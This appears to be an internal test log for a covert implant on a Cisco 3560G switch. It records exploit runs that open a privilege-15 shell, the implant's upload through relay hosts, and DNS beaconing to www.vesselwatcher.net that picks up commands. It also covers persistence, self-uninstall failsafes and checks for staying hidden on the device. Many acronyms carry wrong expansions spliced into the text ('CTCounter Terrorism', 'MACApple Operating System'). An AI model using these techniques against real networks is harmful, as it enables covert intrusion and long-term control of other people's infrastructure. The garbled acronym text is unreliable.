Owner: User #71467

HG v3.1.3-Adverse-01 Testing

HG was delivered for JQJADVERSE on 9/8/15 for the Cisco 3560G.  Testing scope will include testing ROCEM v1.2 for ADVERSE, delivered to Test Range on 9/15/15, as well as testing HG Base functionality, DNSDomain Name System Checkin capability, SDCMicrosoft software packaging format comms, SMITE and on-device OPSEC since this will be a persistent delivery.  Also need to test failsafe uninstall to ensure if comms are not established that HG bugs out.

CONOP will be

• Flux into network through three different hosts - first a webserver, then a DC, then to a host that is connected to an adjacent 2960 on a management subnet
• Trigger will be sent through flux, and CTCounter Terrorism session will be established back through flux initially
• An initial CTCounter Terrorism session will be established and DNSDomain Name System Checkin capability verified.  
• Subsequent comms with HG will be via DNSDomain Name System checkin.
• DNS Checkin has been preconfigured with capability to execute SMITE

Testing Summary

• Found issue that appears to match EAREnterprise Archive 5012 - sent to Xetron to confirm this is the same issue.

Testing Notes

Information about target:

• Hardware is WS-C3560G-24TS-S (DUT is WS-C3560G-24PS-E)
• Software is c3560-ipbase-mz.122-35.SE5
• BOOTLDR: C3560 Boot Loader (C3560-HBOOT-M) Version 12.2(25r)SEE4, RELEASE SOFTWARE (fc1)

VMs Used

• Adverse-Flux1 - XX.XX.XXX.XX (IR-DATAK-20020718[IR])/192.168.0.21
• Adverse-Flux2/BIND - 192.168.0.11
• Adverse-Flux3 - 192.168.221.40
• Adverse-ICON-Debian8 - 172.20.12.34
• Adverse-Proxy - XX.XX.XXX.X (IR-DATAK-20020718[IR])/192.168.0.4
• Adverse-Seeds - 192.168.211.10
• DNS Server - X.X.X.X (LVLT-GOGL-8-8-8[US])
• DNS forwarding server 4.4.4.4

1. Smoke Test of ROCEM
   1. Set up the Flux nodes to hop through Flux1 -> Flux2 -> Flux3.
   2. Added a route on ICON VMVirtual Machine for 192.168.0.0/24 to point to the Flux tunnel.
   3. Started ROCEM interactive session - successful:
      

      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254
      [+] Validating data/interactive.bin
      [+] Validating data/set.bin
      [+] Validating data/transfer.bin
      [+] Validating data/unset.bin

      ****************************************
      Image: c3560-ipbase-mz.122-35.SE5
      Host: 192.168.0.254
      Action: Interactive
      ****************************************

      Proceed? (y/n)y
      Trying 127.0.0.1...
      [*] Attempting connection to host 192.168.0.254:23
      Connected to 127.0.0.1.
      Escape character is '^]'.
      [+] Connection established
      [*] Starting interactive session

      User Access Verification

      Password:
      MLS-Sth#

       

      MLS-Sth# show priv
      Current privilege level is 15
      MLS-Sth#show users
      Line User Host(s) Idle Location
      * 1 vty 0 idle 00:00:00 192.168.221.40

      Interface User Mode Idle Peer Address

      MLS-Sth#exit
      Connection closed by foreign host.
      [+] Unsetting
      [*] Attempting connection to host 192.168.0.254:23
      [+] Connection established
      [*] Sending Protocol Step 1
      [*] Sending Protocol Step 2
      [+] Done
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem#

   4. Set/Unset ROCEM - Successful

   5. oot@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
      [+] Validating data/interactive.bin
      [+] Validating data/set.bin
      [+] Validating data/transfer.bin
      [+] Validating data/unset.bin

      ****************************************
      Image: c3560-ipbase-mz.122-35.SE5
      Host: 192.168.0.254
      Action: Set
      ****************************************

      Proceed? (y/n)y
      [*] Attempting connection to host 192.168.0.254:23
      [+] Connection established
      [*] Sending Protocol Step 1
      [*] Sending Protocol Step 2
      [+] Done
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
      Trying 192.168.0.254...
      Connected to 192.168.0.254.
      Escape character is '^]'.

      MLS-Sth#exit
      Connection closed by foreign host.
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -u 192.168.0.254
      [+] Validating data/interactive.bin
      [+] Validating data/set.bin
      [+] Validating data/transfer.bin
      [+] Validating data/unset.bin

      ****************************************
      Image: c3560-ipbase-mz.122-35.SE5
      Host: 192.168.0.254
      Action: Unset
      ****************************************

      Proceed? (y/n)y
      [*] Attempting connection to host 192.168.0.254:23
      [+] Connection established
      [*] Sending Protocol Step 1
      [*] Sending Protocol Step 2
      [+] Done
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
      Trying 192.168.0.254...
      Connected to 192.168.0.254.
      Escape character is '^]'.

      
      User Access Verification

      Password:
      telnet> q
      Connection closed.
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem

2. Smoke test of HG install

   1. Setup Flux nodes
   2. Established Seeds traffic - on Seeds host, manually set proxy and then authenticated once manually.  Then kicked off ARP, DNSDomain Name System and HTTPSHypertext Transfer Protocol Secure seeds.
   3. Set ROCEM
   4. IAC attacked - rcvd acceptable error codes
   5. Uploaded HG - via 3 flux nodes, this takes a while even with interpacket delay set to 0
   6. Unset ROCEM
   7. Had to chmod 755 on adverse-1h.txt file - it was read only when I tried to edit even as root.  permissions were read and execute only.
   8. Established CTCounter Terrorism session through flux

   9. Verified DNSDomain Name System checkin is enabled - time to check in 2d 23h 29m 58s

   10. Verified DNSDomain Name System checkin commands available

   11. Disabled SDCMicrosoft software packaging format and changed dns checkin delay to 60s, dns checkin variance to 10s for testing purposes

   12. Verified that DNSDomain Name System checkin is successful
       

       [192.168.211.10]> checkin show
       [Success]

       DnsCheckin
       Enabled Yes
       SDCMicrosoft software packaging format Enabled No
       Explicit Parameters Enabled No
       Time to Next Check-In 0d 0h 0m 35s
       Initial Delay 3d 0h 0m 0s
       Delay 0d 0h 1m 0s
       Variance 0d 0h 0m 10s
       Domain www.vesselwatcher.net
       SDCMicrosoft software packaging format Time Interval 0d 0h 0m 0s
       SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
       Last Command File Executed ci_loc1_resetfailsafe.cmd
       Lifetime success count 957
       Lifetime failure count 0
       Failsafe Max 12
       Current Failsafe Count 0
       Deadman Enabled Yes
       Last Error None (0)
       Time Since Last Error 0d 0h 0m 0s

       Explicit Parameters
       IP 0.0.0.0
       Subnet 0.0.0.0
       MACApple Operating System 00:00:00:00:00:00
       VLANVirtual Local Area Network 0
       TTLTime To Live 0
       Next Hop MACApple Operating System 00:00:00:00:00:00
       Nameserver 0.0.0.0
       ************ Success ************
       [checkin show]

   13. Enabled SDCMicrosoft software packaging format with 12 hour time frame, however DNSDomain Name System checkins did not work.  Attempted to web browse from Seeds host to give HG some traffic, however it still didn't work.

   14. Disabled SDCMicrosoft software packaging format again and DNSDomain Name System checkins did not resume
   15. Had to disable and then re-enable dns checkin to get dns checkins to resume
   16. Re-enabled SDC, then bounced dns checkin service.
   17. DNS checkin did not resume.  Will continue with SDCMicrosoft software packaging format testing later, disabling at this time
   18. Changed the cname to time on X.X.X.X (LVLT-GOGL-8-8-8[US]) and restarted bind service.
   19. Due to positive response caching on the Flux2 BINDDNSDomain Name System server software server, had to change the positive response cache ttl to 300s on that server and restart bind service
   20. At next DNSDomain Name System checkin, cname time was used and the commands were executed reset failsafe, change variance to 0, change sdc to 1 hour, and change delay to 25 hours.
   21. Changed cname back loc1 on X.X.X.X (LVLT-GOGL-8-8-8[US]).  Verified new caching settings are taking effect - after 300s, Flux2 BINDDNSDomain Name System server software sent the query to 4.4.4.4.
   22. Changed max-cache-ttl on 4.4.4.4 as well as flux2/BIND to 30s.  
   23. Changed cname to loc3 and restarted bind9 on X.X.X.X (LVLT-GOGL-8-8-8[US]).
   24. At next checkin, the new loc3 commands were executed:
       

       [192.168.211.10]> checkin show
       [Success]

       DnsCheckin
       Enabled Yes
       SDCMicrosoft software packaging format Enabled Yes
       Explicit Parameters Enabled No
       Time to Next Check-In 15d 7h 40m 43s
       Initial Delay 3d 0h 0m 0s
       Delay 15d 0h 0m 0s
       Variance 0d 12h 0m 0s
       Domain www.vesselwatcher.net
       SDCMicrosoft software packaging format Time Interval 0d 12h 0m 0s
       SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
       Last Command File Executed ci_map1_changedelay15d.cmd
       Lifetime success count 994
       Lifetime failure count 1
       Failsafe Max 12
       Current Failsafe Count 0
       Deadman Enabled Yes
       Last Error DNSDomain Name System Comms Failure (101)
       Time Since Last Error 0d 0h 1m 4s

       Explicit Parameters
       IP 0.0.0.0
       Subnet 0.0.0.0
       MACApple Operating System 00:00:00:00:00:00
       VLANVirtual Local Area Network 0
       TTLTime To Live 0
       Next Hop MACApple Operating System 00:00:00:00:00:00
       Nameserver 0.0.0.0
       ************ Success ************
       [checkin show]

3. On-Device Opsec
   1. With persistent HG still installed, running successfully after a reboot, CTCounter Terrorism session established - collected show tech - 3560G-showtech-with-persisted-HG
   2. Used device uninstall-g -mp -f to uninstall HG - waited 4 minutes, collected show tech - 3560G-showtech-afterHGuninstall
   3. Reloaded 3560G - collected another show tech - 3560G-showtech-afer-reload
   4. Re-installed HG - collected a show tech without CTCounter Terrorism session, before any reload to verify persistence - 3560G-showtech-withHG
   5. Uninstalled via DNSDomain Name System checkin - observed anomalous output in show stacks.  Did not observe this after HG uninstall from CTCounter Terrorism session.
   6. Notes - Observed EAREnterprise Archive 5012 - LOTS of blank lines in show stack after HG uninstall via DNSDomain Name System checkin++++++
      1. Also observed Init process missing after HG install - this is known issue - EAREnterprise Archive 5163
         
      2. TCP Command process running - verified that this does show up at times without HG as well
      3. Need to verify sw forwarding counter in show controller output - EAREnterprise Archive 5078 - validated that this value is not incrementing with install of HG
      4. About 2M additional memory used while HG installed.
   7. Further checking into show stacks output - installed HG and allowing some DNSDomain Name System checkins to go through.  Will see if number of DNSDomain Name System checkins correlates to amount of blank likes in show stacks output.
   8. Allowed 23 DNSDomain Name System checkins to go through, then uninstalled via DNSDomain Name System checkin:
      1. Collected show tech - 3560G-showtech-afterHGuinstall-viaDNS
   9. Reloaded device, reinstalled HG, Allowed 23 DNSDomain Name System checkins to go through, then uninstalled via CTCounter Terrorism command
      1. Collected show tech - 3560G-showtech-afterHGuinstall-viaCT
      2. Noticed that blank lines are still present when uninstalled via CTCounter Terrorism - same number of blank lines as for previous test.
   10. Allow more DNSDomain Name System checkins to occur and see if the number of blank lines increases - number of blank lines is the same
       1. Allowed 46 checkins, then uninstalled via CTCounter Terrorism - collected show tech 3560G-showtech-afterHGuinstall-viaCT-46
   11. Verifying show controllers output after HG install:
       1. Started with a clean device - it had been running all weekend - sw forwarding counter is 4
       2. Set ROCEM, IACInternational Access Code attacked, unset rocem - controllers counters still at 4
       3. Uploaded HG - 
4. Tested Deaman failsafe where no hosts are available in snooped host list
   1. Installed HG and established CTCounter Terrorism session
      
   2. Changed DNSDomain Name System checkin settings to disable SDC, delay to be 20s, variance 10s.  
   3. Allowed DNSDomain Name System checkins to fail - no snooped hosts in DNSDomain Name System client list.
   4. When the 12th failure occured, HG uninstalled:
       

      [192.168.211.10]> checkin show
      [Success]

       

      DnsCheckin
      Enabled Yes
      SDCMicrosoft software packaging format Enabled No
      Explicit Parameters Enabled No
      Time to Next Check-In 0d 0h 0m 3s
      Initial Delay 3d 0h 0m 0s
      Delay 0d 0h 0m 20s
      Variance 0d 0h 0m 10s
      Domain www.vesselwatcher.net
      SDCMicrosoft software packaging format Time Interval 0d 0h 0m 0s
      SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
      Last Command File Executed N/A
      Lifetime success count 0
      Lifetime failure count 11
      Failsafe Max 12
      Current Failsafe Count 11
      Deadman Enabled Yes
      Last Error DNSDomain Name System Comms Failure (101)
      Time Since Last Error 0d 0h 0m 17s

       

      Explicit Parameters
      IP 0.0.0.0
      Subnet 0.0.0.0
      MACApple Operating System 00:00:00:00:00:00
      VLANVirtual Local Area Network 0
      TTLTime To Live 0
      Next Hop MACApple Operating System 00:00:00:00:00:00
      Nameserver 0.0.0.0
      ************ Success ************
      [checkin show]

       

      [192.168.211.10]> [Remote Failure]
      ************ Remote Failure ************
      Connection to device lost!!
      >
      >

5. Ad hoc test - reload DUTDevice Under Test during HG install
   1. Set rocem, iac attacked, unset rocem
   2. Reloaded Dut during remote upload at 24%
   3. No alerting messages appeared on console, DUTDevice Under Test rebooted normally
   4. Subsequent attack and install successful
6. Test HG persistence
   1. Installed HG via normal CONOP 
   2. Established a CTCounter Terrorism session with trigger seq set to 0.  Verified snooped dns client and server list - 192.168.211.10 and 192.168.0.11 respectively.
   3. Before 30 minutes had gone by, rebooted DUT
   4. Attempted to re-establsih CTCounter Terrorism session - trigger unsuccessful
   5. Reset beacon seq to 0 and then successfully re-established comms
   6. The time to next checkin for DNSDomain Name System check not persist - before reboot time to next checkin was 2d 23h 32m 9s  and after reboot it was 2d 23h 53m 6s.
   7. Rebooted after an hour and 15 minutes of uptime.... DNSDomain Name System checkin parameters had been changed.
   8. Checkin parameters remained changed - however the trigger seq went back to 0:
      

      [192.168.211.10]> checkin show
      [Success]

      DnsCheckin
      Enabled Yes
      SDCMicrosoft software packaging format Enabled Yes
      Explicit Parameters Enabled No
      Time to Next Check-In 0d 0h 0m 52s
      Initial Delay 3d 0h 0m 0s
      Delay 0d 0h 2m 0s
      Variance 0d 0h 0m 10s
      Domain www.vesselwatcher.net
      SDCMicrosoft software packaging format Time Interval 0d 12h 0m 0s
      SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
      Last Command File Executed ci_loc1_resetfailsafe.cmd
      Lifetime success count 16
      Lifetime failure count 0
      Failsafe Max 12
      Current Failsafe Count 0
      Deadman Enabled Yes
      Last Error None (0)
      Time Since Last Error 0d 0h 0m 0s

      Explicit Parameters
      IP 0.0.0.0
      Subnet 0.0.0.0
      MACApple Operating System 00:00:00:00:00:00
      VLANVirtual Local Area Network 0
      TTLTime To Live 0
      Next Hop MACApple Operating System 00:00:00:00:00:00
      Nameserver 0.0.0.0
      ************ Success ************
      [checkin show]

7. SDC test
   1. Established a CTCounter Terrorism session and changed delay to 60s and variance to 10s.  While CTCounter Terrorism session was active, checkin time arrived and expired.  I logged out from CTCounter Terrorism to see if it would snoop when CTCounter Terrorism session was not active and subsequesntly make a query via SDCMicrosoft software packaging format but it did not.
   2. Established CTCounter Terrorism session and changed dns checkin delay to 2m and variance to 10s.  Logged out from CTCounter Terrorism session and waited - after 2m I did rx a vesselwatcher query.
   3. Time between first DNSDomain Name System query and second query was about 3 minutes, however after that, they came in every two minutes:
      

      11:49:42.683220 IP 192.168.211.10.23165 > 192.168.0.11.domain: 7111+ A? www.vesselwatcher.net. (39)
      11:49:42.683967 IP 192.168.0.11.63256 > 4.4.4.4.domain: 24177+ [1au] A? www.vesselwatcher.net. (50)
      11:49:42.688779 IP 4.4.4.4.domain > 192.168.0.11.63256: 24177 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      11:49:42.689413 IP 192.168.0.11.60372 > 4.4.4.4.domain: 16280+ [1au] A? loc1.vesselwatcher.net. (51)
      11:49:42.690591 IP 192.168.0.11.domain > 192.168.211.10.23165: 7111 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)
      11:52:43.393058 IP 192.168.211.10.15926 > 192.168.0.11.domain: 40981+ A? www.vesselwatcher.net. (39)
      11:52:43.393700 IP 192.168.0.11.14071 > 4.4.4.4.domain: 60394+ [1au] A? www.vesselwatcher.net. (50)
      11:52:43.398762 IP 4.4.4.4.domain > 192.168.0.11.14071: 60394 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      11:52:43.399531 IP 192.168.0.11.18620 > 4.4.4.4.domain: 948+ [1au] A? loc1.vesselwatcher.net. (51)
      11:52:43.400846 IP 192.168.0.11.domain > 192.168.211.10.15926: 40981 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)
      11:54:48.874360 IP 192.168.211.10.20620 > 192.168.0.11.domain: 55646+ A? www.vesselwatcher.net. (39)
      11:54:48.875302 IP 192.168.0.11.47838 > 4.4.4.4.domain: 9865+ [1au] A? www.vesselwatcher.net. (50)
      11:54:48.879270 IP 4.4.4.4.domain > 192.168.0.11.47838: 9865 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      11:54:48.880038 IP 192.168.0.11.61522 > 4.4.4.4.domain: 48713+ [1au] A? loc1.vesselwatcher.net. (51)
      11:54:48.881292 IP 192.168.0.11.domain > 192.168.211.10.20620: 55646 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)
      11:56:59.349407 IP 192.168.211.10.16304 > 192.168.0.11.domain: 47923+ A? www.vesselwatcher.net. (39)
      11:56:59.350063 IP 192.168.0.11.9121 > 4.4.4.4.domain: 20606+ [1au] A? www.vesselwatcher.net. (50)
      11:56:59.354573 IP 4.4.4.4.domain > 192.168.0.11.9121: 20606 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      11:56:59.355361 IP 192.168.0.11.5131 > 4.4.4.4.domain: 18376+ [1au] A? loc1.vesselwatcher.net. (51)
      11:56:59.356677 IP 192.168.0.11.domain > 192.168.211.10.16304: 47923 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)

   4. Checked on Seeds traffic for any punch through DNSDomain Name System packets or replies - did not see anything come on wireshark during DNSDomain Name System checkin.  
   5. Disabled HTTPSHypertext Transfer Protocol Secure and ARPAddress Resolution Protocol seeds on on seeds host and allowed DNSDomain Name System seeds to continue - did not see the next checkin.  DNS seeds is not enough for SDCMicrosoft software packaging format apparently.
   6. Restarted HTTPSHypertext Transfer Protocol Secure and ARPAddress Resolution Protocol seeds - about 4 minutes later I did get a DNSDomain Name System checkin again:
      

      12:13:17.519037 IP 192.168.211.10.13372 > 192.168.0.11.domain: 31060+ A? www.vesselwatcher.net. (39)
      12:13:17.519933 IP 192.168.0.11.9343 > 4.4.4.4.domain: 57259+ [1au] A? www.vesselwatcher.net. (50)
      12:13:17.524538 IP 4.4.4.4.domain > 192.168.0.11.9343: 57259 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      12:13:17.525289 IP 192.168.0.11.57649 > 4.4.4.4.domain: 41926+ [1au] A? loc1.vesselwatcher.net. (51)
      12:13:17.526452 IP 192.168.0.11.domain > 192.168.211.10.13372: 31060 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)
      12:17:23.277763 IP 192.168.211.10.10608 > 192.168.0.11.domain: 41738+ A? www.vesselwatcher.net. (39)
      12:17:23.278454 IP 192.168.0.11.41021 > 4.4.4.4.domain: 23973+ [1au] A? www.vesselwatcher.net. (50)
      12:17:23.283150 IP 4.4.4.4.domain > 192.168.0.11.41021: 23973 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      12:17:23.283778 IP 192.168.0.11.6542 > 4.4.4.4.domain: 17025+ [1au] A? loc1.vesselwatcher.net. (51)
      12:17:23.284924 IP 192.168.0.11.domain > 192.168.211.10.10608: 41738 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)
      12:20:58.924137 IP 192.168.211.10.29641 > 192.168.0.11.domain: 30681+ A? www.vesselwatcher.net. (39)
      12:20:58.924853 IP 192.168.0.11.62419 > 4.4.4.4.domain: 34273+ [1au] A? www.vesselwatcher.net. (50)
      12:20:58.929699 IP 4.4.4.4.domain > 192.168.0.11.62419: 34273 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      12:20:58.930630 IP 192.168.0.11.10872 > 4.4.4.4.domain: 692+ [1au] A? loc1.vesselwatcher.net. (51)
      12:20:58.932027 IP 192.168.0.11.domain > 192.168.211.10.29641: 30681 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)
      12:24:24.585459 IP 192.168.211.10.13467 > 192.168.0.11.domain: 40913+ A? www.vesselwatcher.net. (39)
      12:24:24.586113 IP 192.168.0.11.29376 > 4.4.4.4.domain: 50225+ [1au] A? www.vesselwatcher.net. (50)
      12:24:24.591288 IP 4.4.4.4.domain > 192.168.0.11.29376: 50225 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      12:24:24.591859 IP 192.168.0.11.11661 > 4.4.4.4.domain: 63214+ [1au] A? loc1.vesselwatcher.net. (51)
      12:24:24.593216 IP 192.168.0.11.domain > 192.168.211.10.13467: 40913 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)
      12:27:55.346378 IP 192.168.211.10.29132 > 192.168.0.11.domain: 21644+ A? www.vesselwatcher.net. (39)
      12:27:55.347169 IP 192.168.0.11.3441 > 4.4.4.4.domain: 46765+ [1au] A? www.vesselwatcher.net. (50)
      12:27:55.351935 IP 4.4.4.4.domain > 192.168.0.11.3441: 46765 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      12:27:55.352804 IP 192.168.0.11.27175 > 4.4.4.4.domain: 34112+ [1au] A? loc1.vesselwatcher.net. (51)
      12:27:55.354245 IP 192.168.0.11.domain > 192.168.211.10.29132: 21644 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)
      12:31:00.834970 IP 192.168.211.10.8719 > 192.168.0.11.domain: 51184+ A? www.vesselwatcher.net. (39)
      12:31:00.835853 IP 192.168.0.11.63238 > 4.4.4.4.domain: 17530+ [1au] A? www.vesselwatcher.net. (50)
      12:31:00.840680 IP 4.4.4.4.domain > 192.168.0.11.63238: 17530 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      12:31:00.841358 IP 192.168.0.11.43756 > 4.4.4.4.domain: 61869+ [1au] A? loc1.vesselwatcher.net. (51)
      12:31:00.842577 IP 192.168.0.11.domain > 192.168.211.10.8719: 51184 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)

      12:34:46.651969 IP 192.168.0.11.51319 > 4.4.4.4.domain: 63821+ [1au] A? www.vesselwatcher.net. (50)
      12:34:46.656434 IP 4.4.4.4.domain > 192.168.0.11.51319: 63821 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      12:34:46.657161 IP 192.168.0.11.30791 > 4.4.4.4.domain: 50251+ [1au] A? loc1.vesselwatcher.net. (51)
      12:34:46.658276 IP 192.168.0.11.domain > 192.168.211.10.19233: 1003 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)

      12:34:46.651231 IP 192.168.211.10.19233 > 192.168.0.11.domain: 1003+ A? www.vesselwatcher.net. (39)

   7. No failures have incremented:
      

      [192.168.211.10]> checkin show
      [Success]

      DnsCheckin
      Enabled Yes
      SDCMicrosoft software packaging format Enabled Yes
      Explicit Parameters Enabled No
      Time to Next Check-In 0d 0h 1m 11s
      Initial Delay 3d 0h 0m 0s
      Delay 0d 0h 2m 0s
      Variance 0d 0h 0m 10s
      Domain www.vesselwatcher.net
      SDCMicrosoft software packaging format Time Interval 0d 12h 0m 0s
      SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
      Last Command File Executed ci_loc1_resetfailsafe.cmd
      Lifetime success count 12
      Lifetime failure count 0
      Failsafe Max 12
      Current Failsafe Count 0
      Deadman Enabled Yes
      Last Error None (0)
      Time Since Last Error 0d 0h 0m 0s

      Explicit Parameters
      IP 0.0.0.0
      Subnet 0.0.0.0
      MACApple Operating System 00:00:00:00:00:00
      VLANVirtual Local Area Network 0
      TTLTime To Live 0
      Next Hop MACApple Operating System 00:00:00:00:00:00
      Nameserver 0.0.0.0

   8. SDC comms are working, however it seems to take longer than just the checkin delay +/- variance to get checkins.  Extra time spent snooping - snooping is set to on for 60s, then off for 10s.  Snoop is set this way for dns, web and comms, and https.  

8. Configured DNSDomain Name System server as Proxyy server
   1. DNS checkins have resumed after the change
      

      16:45:16.872516 IP 192.168.211.10.26768 > 192.168.0.11.domain: 26686+ A? www.vesselwatcher.net. (39)
      16:45:16.873797 IP 192.168.0.11.63579 > 192.168.0.4.domain: 34834+ [1au] A? www.vesselwatcher.net. (50)
      16:45:16.882154 IP 192.168.0.4.domain > 192.168.0.11.63579: 34834 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      16:45:16.883501 IP 192.168.0.11.33273 > 192.168.0.4.domain: 17156+ [1au] A? loc1.vesselwatcher.net. (51)
      16:45:16.884533 IP 192.168.0.11.domain > 192.168.211.10.26768: 26686 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)
      16:51:28.204284 IP 192.168.211.10.21803 > 192.168.0.11.domain: 19945+ A? www.vesselwatcher.net. (39)
      16:51:28.204948 IP 192.168.0.11.50595 > 192.168.0.4.domain: 64097+ [1au] A? www.vesselwatcher.net. (50)
      16:51:28.211713 IP 192.168.0.4.domain > 192.168.0.11.50595: 64097 2/1/2 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (119)
      16:51:28.212386 IP 192.168.0.11.8652 > 192.168.0.4.domain: 38988+ [1au] A? loc1.vesselwatcher.net. (51)
      16:51:28.213306 IP 192.168.0.11.domain > 192.168.211.10.21803: 19945 2/1/1 CNAME loc1.vesselwatcher.net., A XX.X.X.X (FINET[US]) (108)

9. Test failure case where DNSDomain Name System checkin does not get a response for its zone:

   1. Set checkin settings to delay 20s, variance 0s, sdc defaults
   2. Commented out the vesselwatcher.net zone
   3. Up to 8 failures
      

      DnsCheckin
      Enabled Yes
      SDCMicrosoft software packaging format Enabled Yes
      Explicit Parameters Enabled No
      Time to Next Check-In 0d 0h 0m 0s
      Initial Delay 3d 0h 0m 0s
      Delay 0d 0h 0m 20s
      Variance 0d 0h 0m 0s
      Domain www.vesselwatcher.net
      SDCMicrosoft software packaging format Time Interval 0d 12h 0m 0s
      SDCMicrosoft software packaging format Max Existing Host Age 0d 0h 0m 0s
      Last Command File Executed ci_loc1_resetfailsafe.cmd
      Lifetime success count 34
      Lifetime failure count 8
      Failsafe Max 12
      Current Failsafe Count 8
      Deadman Enabled Yes
      Last Error DNSDomain Name System Comms Failure (101)
      Time Since Last Error 0d 0h 0m 36s

      Explicit Parameters
      IP 0.0.0.0
      Subnet 0.0.0.0
      MACApple Operating System 00:00:00:00:00:00
      VLANVirtual Local Area Network 0
      TTLTime To Live 0
      Next Hop MACApple Operating System 00:00:00:00:00:00
      Nameserver 0.0.0.0
      ************ Success ************
      [checkin show]

   4. HG uninstalled after 12 failures

10. Test failure where DNSDomain Name System responds but without a CNAME
11. Test failure where DNSDomain Name System completely timesout, no response either way